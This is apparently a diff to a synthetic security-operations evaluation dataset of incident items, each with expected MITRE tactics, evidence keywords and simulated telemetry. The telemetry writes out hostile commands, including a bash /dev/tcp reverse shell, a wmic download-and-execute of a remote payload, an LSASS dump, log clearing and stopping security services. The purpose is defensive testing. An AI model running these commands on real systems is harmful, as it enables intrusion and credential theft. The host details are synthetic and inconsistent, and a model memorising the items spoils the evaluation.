+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "LIN-DB-REPLICA",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKU\\S-1-5-21-...\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
+ "Details": "C:\\Users\\[email protected]\\AppData\\Roaming\\updater.exe"
+ },
+ {
+ "source": "edr",
+ "rule": "Persistence: Registry Run with revoked-cert signed binary",
+ "severity": "high",
+ "Computer": "LIN-DB-REPLICA",
+ "User": "[email protected]",
+ "threat_actor": "Lazarus"
+ }
]
},
{
"id": "INC-EVAL-067",
- "title": "Scheduled task persistence on WIN-FIN-DB01",
- "description": "Hidden scheduled task created on WIN-FIN-DB01 by [email protected]: triggers every 30 minutes, runs script from %APPDATA%\\Roaming. Persistence mechanism.",
+ "template_id": "scheduled-task-persistence",
+ "template_index": 11,
+ "title": "Scheduled task persistence on AWS-EC2-PROD-API",
+ "description": "Hidden scheduled task created on AWS-EC2-PROD-API by [email protected]: triggers every 30 minutes, runs script from %APPDATA%\\Roaming. Persistence mechanism.",
"expected_tactics": [
"TA0003"
],
@@ -1490,14 +3068,39 @@
"scheduled task",
"persistence",
"APPDATA",
- "WIN-FIN-DB01",
+ "AWS-EC2-PROD-API",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4698,
+ "Computer": "AWS-EC2-PROD-API",
+ "SubjectUserName": "[email protected]",
+ "TaskName": "\\Microsoft\\Windows\\UpdaterTask",
+ "TaskContent": "<Hidden>true</Hidden><Exec>%APPDATA%\\Roaming\\u.ps1</Exec>"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "AWS-EC2-PROD-API",
+ "Image": "C:\\Windows\\System32\\schtasks.exe",
+ "ParentImage": "C:\\Windows\\System32\\cmd.exe",
+ "CommandLine": "schtasks /Create /SC MINUTE /MO 30 /TN UpdaterTask /TR \"powershell -f %APPDATA%\\Roaming\\u.ps1\" /F",
+ "User": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-068",
- "title": "Firmware implant detected on UEFI partition of GCP-GKE-NODE-04",
- "description": "UEFI secure-boot violation on GCP-GKE-NODE-04. Unknown module detected in firmware. Signature matches MosaicRegressor implant.",
+ "template_id": "uefi-firmware-implant",
+ "template_index": 12,
+ "title": "Firmware implant detected on UEFI partition of WIN-PROD-WEB02",
+ "description": "UEFI secure-boot violation on WIN-PROD-WEB02. Unknown module detected in firmware. Signature matches MosaicRegressor implant.",
"expected_tactics": [
"TA0003",
"TA0005"
@@ -1513,14 +3116,34 @@
"firmware",
"implant",
"secure boot",
- "GCP-GKE-NODE-04",
+ "WIN-PROD-WEB02",
"MosaicRegressor"
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4673,
+ "Computer": "WIN-PROD-WEB02",
+ "ObjectName": "\\Device\\HarddiskVolume1\\EFI\\Microsoft\\Boot\\bootmgfw.efi",
+ "ProcessName": "C:\\Windows\\System32\\driver_signing.exe"
+ },
+ {
+ "source": "edr",
+ "rule": "UEFI implant: MosaicRegressor signature match",
+ "severity": "critical",
+ "Computer": "WIN-PROD-WEB02",
+ "indicator_path": "ESP:/EFI/Boot/bootx64.efi"
+ }
]
},
{
"id": "INC-EVAL-069",
- "title": "Backdoor cron job installed on LIN-K8S-NODE01",
- "description": "/etc/cron.d entry created by [email protected] on LIN-K8S-NODE01. Reverse shell beacon to 192.168.1.100 every 5 minutes.",
+ "template_id": "cron-backdoor",
+ "template_index": 13,
+ "title": "Backdoor cron job installed on LIN-DB-REPLICA",
+ "description": "/etc/cron.d entry created by [email protected] on LIN-DB-REPLICA. Reverse shell beacon to 45.142.122.111 every 5 minutes.",
"expected_tactics": [
"TA0003",
"TA0011"
@@ -1535,15 +3158,35 @@
"cron",
"backdoor",
"reverse shell",
- "LIN-K8S-NODE01",
- "192.168.1.100"
+ "LIN-DB-REPLICA",
+ "45.142.122.111"
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "openat",
+ "exe": "/usr/bin/vi",
+ "path": "/etc/cron.d/zz-update",
+ "hostname": "LIN-DB-REPLICA",
+ "user": "[email protected]",
+ "a2": "O_WRONLY|O_CREAT"
+ },
+ {
+ "source": "linux_journald",
+ "_SYSTEMD_UNIT": "cron.service",
+ "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/45.142.122.111/4444 0>&1)",
+ "hostname": "LIN-DB-REPLICA"
+ }
]
},
{
"id": "INC-EVAL-070",
- "title": "UAC bypass observed on LIN-EDGE-VPN02",
- "description": "fodhelper.exe abuse on LIN-EDGE-VPN02 by [email protected]; auto-elevation triggered without prompt. Process tree shows escalation to SYSTEM.",
+ "template_id": "uac-bypass-fodhelper",
+ "template_index": 14,
+ "title": "UAC bypass observed on LIN-BUILD-CI03",
+ "description": "fodhelper.exe abuse on LIN-BUILD-CI03 by [email protected]; auto-elevation triggered without prompt. Process tree shows escalation to SYSTEM.",
"expected_tactics": [
"TA0004",
"TA0005"
@@ -1557,15 +3200,41 @@
"UAC",
"fodhelper",
"auto-elevation",
- "LIN-EDGE-VPN02",
+ "LIN-BUILD-CI03",
"SYSTEM"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "LIN-BUILD-CI03",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command",
+ "Details": "C:\\Windows\\System32\\cmd.exe /c whoami"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-BUILD-CI03",
+ "Image": "C:\\Windows\\System32\\fodhelper.exe",
+ "ParentImage": "C:\\Windows\\explorer.exe",
+ "IntegrityLevel": "High",
+ "User": "SYSTEM"
+ }
]
},
{
"id": "INC-EVAL-071",
- "title": "Container escape via privileged pod on WIN-HR-DESKTOP",
- "description": "Kubernetes privileged pod created on WIN-HR-DESKTOP by [email protected]. cgroup escape to host namespace observed. Node filesystem accessed.",
+ "template_id": "k8s-privileged-pod-escape",
+ "template_index": 15,
+ "title": "Container escape via privileged pod on WIN-PROD-WEB02",
+ "description": "Kubernetes privileged pod created on WIN-PROD-WEB02 by [email protected]. cgroup escape to host namespace observed. Node filesystem accessed.",
"expected_tactics": [
"TA0004",
"TA0007"
@@ -1581,14 +3250,58 @@
"privileged pod",
"container escape",
"cgroup",
- "WIN-HR-DESKTOP",
+ "WIN-PROD-WEB02",
+ ],
+ "telemetry": [
+ {
+ "source": "k8s_audit",
+ "apiVersion": "audit.k8s.io/v1",
+ "kind": "Event",
+ "verb": "create",
+ "objectRef": {
+ "resource": "pods"
+ },
+ "user": {
+ "username": "[email protected]"
+ },
+ "requestObject": {
+ "spec": {
+ "containers": [
+ {
+ "name": "x",
+ "image": "alpine",
+ "securityContext": {
+ "privileged": true
+ }
+ }
+ ],
+ "hostPID": true
+ }
+ },
+ "stage": "ResponseComplete",
+ "responseStatus": {
+ "code": 201
+ },
+ "node": "WIN-PROD-WEB02"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "openat",
+ "exe": "/bin/sh",
+ "path": "/host/etc/shadow",
+ "hostname": "WIN-PROD-WEB02",
+ "user": "root"
+ }
]
},
{
"id": "INC-EVAL-072",
- "title": "Linux SUID binary abuse on AZURE-VM-FIN-001",
- "description": "Custom SUID binary discovered in /tmp on AZURE-VM-FIN-001; allows arbitrary command execution as root. Likely escalation by [email protected].",
+ "template_id": "linux-suid-abuse",
+ "template_index": 16,
+ "title": "Linux SUID binary abuse on WIN-DEVOPS-LT",
+ "description": "Custom SUID binary discovered in /tmp on WIN-DEVOPS-LT; allows arbitrary command execution as root. Likely escalation by [email protected].",
"expected_tactics": [
"TA0004"
],
@@ -1601,14 +3314,38 @@
"SUID",
"/tmp",
"root escalation",
- "AZURE-VM-FIN-001",
+ "WIN-DEVOPS-LT",
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "chmod",
+ "exe": "/bin/chmod",
+ "a1": "/tmp/.x",
+ "mode": "04755",
+ "hostname": "WIN-DEVOPS-LT",
+ "user": "[email protected]"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/tmp/.x",
+ "hostname": "WIN-DEVOPS-LT",
+ "uid": 1001,
+ "euid": 0,
+ "user": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-073",
- "title": "Memory-only fileless implant in svchost on WIN-DEVOPS-LT",
- "description": "Process hollowing detected on WIN-DEVOPS-LT: svchost.exe replaced with Cobalt Strike beacon to 185.220.101.7. No disk artefacts. Linked to MagicWeb.",
+ "template_id": "process-hollowing-svchost",
+ "template_index": 17,
+ "title": "Memory-only fileless implant in svchost on LIN-EDGE-VPN02",
+ "description": "Process hollowing detected on LIN-EDGE-VPN02: svchost.exe replaced with Cobalt Strike beacon to 45.142.122.111. No disk artefacts. Linked to LockBit 3.0.",
"expected_tactics": [
"TA0002",
"TA0005"
@@ -1624,14 +3361,48 @@
"fileless",
"svchost",
"Cobalt Strike",
- "WIN-DEVOPS-LT",
- "185.220.101.7"
+ "LIN-EDGE-VPN02",
+ "45.142.122.111"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 8,
+ "Computer": "LIN-EDGE-VPN02",
+ "SourceImage": "C:\\Windows\\System32\\powershell.exe",
+ "TargetImage": "C:\\Windows\\System32\\svchost.exe",
+ "StartFunction": "LoadLibraryW",
+ "NewThreadId": 4716
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "LIN-EDGE-VPN02",
+ "Image": "C:\\Windows\\System32\\svchost.exe",
+ "DestinationIp": "45.142.122.111",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "ja3": "a0e9f5d64349fb13191bc781f81f42e1"
+ },
+ {
+ "source": "edr",
+ "rule": "Cobalt Strike beacon (process hollowing)",
+ "severity": "high",
+ "Computer": "LIN-EDGE-VPN02",
+ "threat_actor": "LockBit 3.0"
+ }
]
},
{
"id": "INC-EVAL-074",
+ "template_id": "event-log-cleared",
+ "template_index": 18,
"title": "Indicator removal: Windows event log cleared on AZURE-VM-FIN-001",
- "description": "Security event log cleared on AZURE-VM-FIN-001 by [email protected]. wevtutil.exe cl Security observed in command-line telemetry.",
+ "description": "Security event log cleared on AZURE-VM-FIN-001 by [email protected]. wevtutil.exe cl Security observed in command-line telemetry.",
"expected_tactics": [
"TA0005"
],
@@ -1645,13 +3416,37 @@
"log cleared",
"indicator removal",
"AZURE-VM-FIN-001",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 1102,
+ "Computer": "AZURE-VM-FIN-001",
+ "SubjectUserName": "[email protected]",
+ "Channel": "Security",
+ "Description": "The audit log was cleared."
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "AZURE-VM-FIN-001",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wevtutil.exe",
+ "CommandLine": "wevtutil cl Security"
+ }
]
},
{
"id": "INC-EVAL-075",
- "title": "Disable security tooling on WIN-EXCHANGE-01",
- "description": "[email protected] attempted to stop Defender, CrowdStrike, and Sysmon on WIN-EXCHANGE-01. Tampering telemetry triggered alert.",
+ "template_id": "disable-edr-tooling",
+ "template_index": 19,
+ "title": "Disable security tooling on LIN-OBS-LOGGER",
+ "description": "[email protected] attempted to stop Defender, CrowdStrike, and Sysmon on LIN-OBS-LOGGER. Tampering telemetry triggered alert.",
"expected_tactics": [
"TA0005"
],
@@ -1665,14 +3460,45 @@
"crowdstrike",
"sysmon",
"tampering",
- "WIN-EXCHANGE-01",
+ "LIN-OBS-LOGGER",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-OBS-LOGGER",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\sc.exe",
+ "CommandLine": "sc.exe stop CSAgent"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-OBS-LOGGER",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\sc.exe",
+ "CommandLine": "sc.exe stop WinDefend"
+ },
+ {
+ "source": "edr",
+ "rule": "EDR tampering attempt",
+ "severity": "critical",
+ "Computer": "LIN-OBS-LOGGER",
+ "User": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-076",
- "title": "LSASS memory dump on LIN-BUILD-CI03 by [email protected]",
- "description": "comsvcs.dll MiniDump observed on LIN-BUILD-CI03. lsass.exe memory dumped to C:\\Windows\\Temp\\. Mimikatz signatures detected.",
+ "template_id": "lsass-memory-dump",
+ "template_index": 20,
+ "title": "LSASS memory dump on WIN-DEVOPS-LT by [email protected]",
+ "description": "comsvcs.dll MiniDump observed on WIN-DEVOPS-LT. lsass.exe memory dumped to C:\\Windows\\Temp\\. Mimikatz signatures detected.",
"expected_tactics": [
"TA0006"
],
@@ -1686,14 +3512,40 @@
"minidump",
"comsvcs",
"mimikatz",
- "LIN-BUILD-CI03",
+ "WIN-DEVOPS-LT",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 10,
+ "Computer": "WIN-DEVOPS-LT",
+ "SourceImage": "C:\\Windows\\System32\\rundll32.exe",
+ "TargetImage": "C:\\Windows\\System32\\lsass.exe",
+ "GrantedAccess": "0x1010",
+ "CallTrace": "comsvcs.dll+5d24|MiniDumpWriteDump",
+ "User": "[email protected]"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "WIN-DEVOPS-LT",
+ "Image": "C:\\Windows\\System32\\rundll32.exe",
+ "TargetFilename": "C:\\Windows\\Temp\\lsass.dmp",
+ "User": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-077",
- "title": "Brute-force credential spray against [email protected] from 198.51.100.23",
- "description": "Credential spray from 198.51.100.23 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",
+ "template_id": "credential-spray",
+ "template_index": 21,
+ "title": "Brute-force credential spray against [email protected] from 172.16.50.7",
+ "description": "Credential spray from 172.16.50.7 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",
"expected_tactics": [
"TA0006"
],
@@ -1705,15 +3557,39 @@
"evidence_keywords": [
"brute force",
"credential spray",
- "198.51.100.23",
+ "172.16.50.7",
"azure ad"
+ ],
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "172.16.50.7",
+ "resultType": 50126,
+ "resultDescription": "Invalid username or password",
+ "appDisplayName": "Office 365 Exchange Online",
+ "attempt_count": 1500
+ },
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "172.16.50.7",
+ "resultType": 0,
+ "resultDescription": "Success",
+ "conditionalAccessStatus": "success",
+ "riskLevelAggregated": "high"
+ }
]
},
{
"id": "INC-EVAL-078",
- "title": "Kerberoasting from MAC-CFO-LAPTOP",
- "description": "Service account TGS tickets requested en-masse from MAC-CFO-LAPTOP by [email protected]. AES256 \u2192 RC4 downgrade observed. Mimikatz tooling indicators.",
+ "template_id": "kerberoasting",
+ "template_index": 22,
+ "title": "Kerberoasting from WIN-FILE-SHARE",
+ "description": "Service account TGS tickets requested en-masse from WIN-FILE-SHARE by [email protected]. AES256 \u2192 RC4 downgrade observed. Mimikatz tooling indicators.",
"expected_tactics": [
"TA0006",
"TA0008"
@@ -1729,14 +3605,40 @@
"TGS",
"RC4",
"mimikatz",
- "MAC-CFO-LAPTOP",
+ "WIN-FILE-SHARE",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4769,
+ "Computer": "WIN-DC-PRIMARY",
+ "TargetUserName": "[email protected]",
+ "ServiceName": "MSSQLSvc/sql.aisoc.dev",
+ "TicketEncryptionType": "0x17",
+ "IpAddress": "WIN-FILE-SHARE"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4769,
+ "Computer": "WIN-DC-PRIMARY",
+ "TargetUserName": "[email protected]",
+ "ServiceName": "HTTP/web01.aisoc.dev",
+ "TicketEncryptionType": "0x17",
+ "IpAddress": "WIN-FILE-SHARE"
+ }
]
},
{
"id": "INC-EVAL-079",
- "title": "Active Directory DCSync from non-DC host WIN-HR-DESKTOP",
- "description": "Replication rights abused from WIN-HR-DESKTOP by [email protected]. All domain NTLM hashes replicated. Severe credential exposure.",
+ "template_id": "ad-dcsync",
+ "template_index": 23,
+ "title": "Active Directory DCSync from non-DC host AZURE-VM-FIN-001",
+ "description": "Replication rights abused from AZURE-VM-FIN-001 by [email protected]. All domain NTLM hashes replicated. Severe credential exposure.",
"expected_tactics": [
"TA0006",
"TA0004"
@@ -1751,14 +3653,30 @@
"dcsync",
"replication",
"ntlm hash",
- "WIN-HR-DESKTOP",
+ "AZURE-VM-FIN-001",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4662,
+ "Computer": "WIN-DC-PRIMARY",
+ "SubjectUserName": "[email protected]",
+ "ObjectServer": "DS",
+ "ObjectType": "domainDNS",
+ "Properties": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
+ "ClientIP": "AZURE-VM-FIN-001"
+ }
]
},
{
"id": "INC-EVAL-080",
- "title": "SAML golden-ticket: forged assertion targeting [email protected]",
- "description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 203.0.113.45.",
+ "template_id": "saml-golden-ticket",
+ "template_index": 24,
+ "title": "SAML golden-ticket: forged assertion targeting [email protected]",
+ "description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 10.0.99.42.",
"expected_tactics": [
"TA0006",
"TA0007"
@@ -1774,14 +3692,45 @@
"golden ticket",
"forged",
"azure ad",
- "203.0.113.45"
+ "10.0.99.42"
+ ],
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "10.0.99.42",
+ "resultType": 0,
+ "authenticationDetails": [
+ {
+ "authenticationMethod": "Federated",
+ "succeeded": true
+ }
+ ],
+ "tokenIssuerType": "ADFederationServices",
+ "tokenIssuerName": "forged-adfs.aisoc.dev"
+ },
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Add member to role.",
+ "UserId": "[email protected]",
+ "ModifiedProperties": [
+ {
+ "Name": "Role.DisplayName",
+ "NewValue": "Global Administrator"
+ }
+ ]
+ }
]
},
{
"id": "INC-EVAL-081",
- "title": "Domain enumeration from MAC-LEGAL-LAPTOP",
- "description": "ldap discovery from MAC-LEGAL-LAPTOP by [email protected]: BloodHound-style queries enumerating users, groups, ACLs.",
+ "template_id": "ldap-bloodhound-discovery",
+ "template_index": 25,
+ "title": "Domain enumeration from LIN-OBS-LOGGER",
+ "description": "ldap discovery from LIN-OBS-LOGGER by [email protected]: BloodHound-style queries enumerating users, groups, ACLs.",
"expected_tactics": [
"TA0007"
],
@@ -1794,14 +3743,40 @@
"ldap",
"bloodhound",
"domain enumeration",
- "MAC-LEGAL-LAPTOP",
+ "LIN-OBS-LOGGER",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "LIN-OBS-LOGGER",
+ "Image": "C:\\Tools\\SharpHound.exe",
+ "DestinationIp": "WIN-DC-PRIMARY",
+ "DestinationPort": 389,
+ "User": "[email protected]"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4662,
+ "Computer": "WIN-DC-PRIMARY",
+ "SubjectUserName": "[email protected]",
+ "ObjectType": "user",
+ "AccessMask": "0x100",
+ "EventCount": 8400
+ }
]
},
{
"id": "INC-EVAL-082",
- "title": "Network share enumeration on WIN-HR-DESKTOP",
- "description": "Mass SMB share enumeration from WIN-HR-DESKTOP by [email protected]; net.exe and PowerShell Get-SmbShare invocations across /24 subnet.",
+ "template_id": "smb-share-enumeration",
+ "template_index": 26,
+ "title": "Network share enumeration on WIN-FIN-DB01",
+ "description": "Mass SMB share enumeration from WIN-FIN-DB01 by [email protected]; net.exe and PowerShell Get-SmbShare invocations across /24 subnet.",
"expected_tactics": [
"TA0007"
],
@@ -1815,14 +3790,39 @@
"net.exe",
"Get-SmbShare",
"share enumeration",
- "WIN-HR-DESKTOP",
+ "WIN-FIN-DB01",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-FIN-DB01",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\net.exe",
+ "CommandLine": "net.exe view /domain"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 5145,
+ "Computer": "WIN-FILE-SHARE",
+ "SubjectUserName": "[email protected]",
+ "ShareName": "\\\\*\\*",
+ "IpAddress": "WIN-FIN-DB01",
+ "EventCount": 256
+ }
]
},
{
"id": "INC-EVAL-083",
- "title": "Pass-the-hash from WIN-EXCHANGE-01 to LIN-K8S-NODE01",
- "description": "Pass-the-hash lateral movement from WIN-EXCHANGE-01 to LIN-K8S-NODE01 by [email protected]. Golden ticket indicators present. Linked to APT28.",
+ "template_id": "pass-the-hash-lateral",
+ "template_index": 27,
+ "title": "Pass-the-hash from GCP-GKE-NODE-04 to WIN-DEVOPS-LT",
+ "description": "Pass-the-hash lateral movement from GCP-GKE-NODE-04 to WIN-DEVOPS-LT by [email protected]. Golden ticket indicators present. Linked to MosaicRegressor.",
"expected_tactics": [
"TA0008",
"TA0006"
@@ -1836,16 +3836,41 @@
"evidence_keywords": [
"pass-the-hash",
"golden ticket",
- "WIN-EXCHANGE-01",
- "LIN-K8S-NODE01",
- "APT28"
+ "GCP-GKE-NODE-04",
+ "WIN-DEVOPS-LT",
+ "MosaicRegressor"
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4624,
+ "Computer": "WIN-DEVOPS-LT",
+ "TargetUserName": "[email protected]",
+ "LogonType": 3,
+ "AuthenticationPackageName": "NTLM",
+ "IpAddress": "GCP-GKE-NODE-04",
+ "LogonProcessName": "NtLmSsp"
+ },
+ {
+ "source": "edr",
+ "rule": "Pass-the-hash indicators (NTLM hash reuse)",
+ "severity": "high",
+ "Computer": "WIN-DEVOPS-LT",
+ "Source": "GCP-GKE-NODE-04",
+ "User": "[email protected]",
+ "threat_actor": "MosaicRegressor"
+ }
]
},
{
"id": "INC-EVAL-084",
- "title": "RDP lateral movement from LIN-DB-REPLICA",
- "description": "Anomalous RDP session from LIN-DB-REPLICA ([email protected]) to WIN-DEVOPS-LT outside business hours. Source admin not normal for WIN-DEVOPS-LT.",
+ "template_id": "rdp-lateral-movement",
+ "template_index": 28,
+ "title": "RDP lateral movement from MAC-LEGAL-LAPTOP",
+ "description": "Anomalous RDP session from MAC-LEGAL-LAPTOP ([email protected]) to LIN-EDGE-VPN02 outside business hours. Source admin not normal for LIN-EDGE-VPN02.",
"expected_tactics": [
"TA0008"
],
@@ -1858,15 +3883,31 @@
"rdp",
"lateral movement",
"outside hours",
- "LIN-DB-REPLICA",
- "WIN-DEVOPS-LT",
+ "MAC-LEGAL-LAPTOP",
+ "LIN-EDGE-VPN02",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4624,
+ "Computer": "LIN-EDGE-VPN02",
+ "TargetUserName": "[email protected]",
+ "LogonType": 10,
+ "IpAddress": "MAC-LEGAL-LAPTOP",
+ "LogonProcessName": "User32",
+ "EventTimeUTC": "03:14:00Z"
+ }
]
},
{
"id": "INC-EVAL-085",
- "title": "WMI lateral execution from AZURE-VM-FIN-001 to WIN-FILE-SHARE",
- "description": "wmic.exe /node:WIN-FILE-SHARE process call create observed from AZURE-VM-FIN-001 by [email protected]. Remote command execution; payload from 198.51.100.23.",
+ "template_id": "wmi-lateral-execution",
+ "template_index": 29,
+ "title": "WMI lateral execution from WIN-FILE-SHARE to MAC-CFO-LAPTOP",
+ "description": "wmic.exe /node:MAC-CFO-LAPTOP process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 91.134.231.15.",
"expected_tactics": [
"TA0008",
"TA0002"
@@ -1879,16 +3920,30 @@
"evidence_keywords": [
"wmic",
"lateral",
- "AZURE-VM-FIN-001",
"WIN-FILE-SHARE",
- "198.51.100.23"
+ "MAC-CFO-LAPTOP",
+ "91.134.231.15"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-FILE-SHARE",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wbem\\wmic.exe",
+ "CommandLine": "wmic /node:MAC-CFO-LAPTOP process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""
+ }
]
},
{
"id": "INC-EVAL-086",
- "title": "Bulk PII download by [email protected]",
- "description": "[email protected] downloaded >10 GB of customer records from production database from GCP-GKE-NODE-04. Outside normal access pattern.",
+ "template_id": "bulk-pii-download",
+ "template_index": 30,
+ "title": "Bulk PII download by [email protected]",
+ "description": "[email protected] downloaded >10 GB of customer records from production database from WIN-EXCHANGE-01. Outside normal access pattern.",
"expected_tactics": [
"TA0009",
"TA0010"
@@ -1903,14 +3958,28 @@
"bulk download",
"pii",
"customer record",
- "GCP-GKE-NODE-04",
+ "WIN-EXCHANGE-01",
+ ],
+ "telemetry": [
+ {
+ "source": "db_audit",
+ "operation": "SELECT",
+ "user": "[email protected]",
+ "src_host": "WIN-EXCHANGE-01",
+ "database": "prod_customers",
+ "table": "customer_records",
+ "rows_returned": 4200000,
+ "bytes": 10700000000
+ }
]
},
{
"id": "INC-EVAL-087",
- "title": "Clipboard logging implant on GCP-GKE-NODE-04",
- "description": "Clipboard contents from GCP-GKE-NODE-04 ([email protected]) being captured to %APPDATA%\\Local\\. Captures span 2 hours and include credentials and crypto addresses.",
+ "template_id": "clipboard-keylogger",
+ "template_index": 31,
+ "title": "Clipboard logging implant on WIN-PROD-WEB02",
+ "description": "Clipboard contents from WIN-PROD-WEB02 ([email protected]) being captured to %APPDATA%\\Local\\. Captures span 2 hours and include credentials and crypto addresses.",
"expected_tactics": [
"TA0009"
],
@@ -1923,14 +3992,38 @@
"clipboard",
"keylog",
"credentials",
- "GCP-GKE-NODE-04",
+ "WIN-PROD-WEB02",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 24,
+ "Computer": "WIN-PROD-WEB02",
+ "User": "[email protected]",
+ "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe",
+ "Hashes": "SHA256=abc..."
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "WIN-PROD-WEB02",
+ "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\AppData\\Local\\clip.log",
+ "User": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-088",
- "title": "DNS tunnelling exfiltration from GCP-GKE-NODE-04",
- "description": "DNS query volume from GCP-GKE-NODE-04 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 45.142.122.111.",
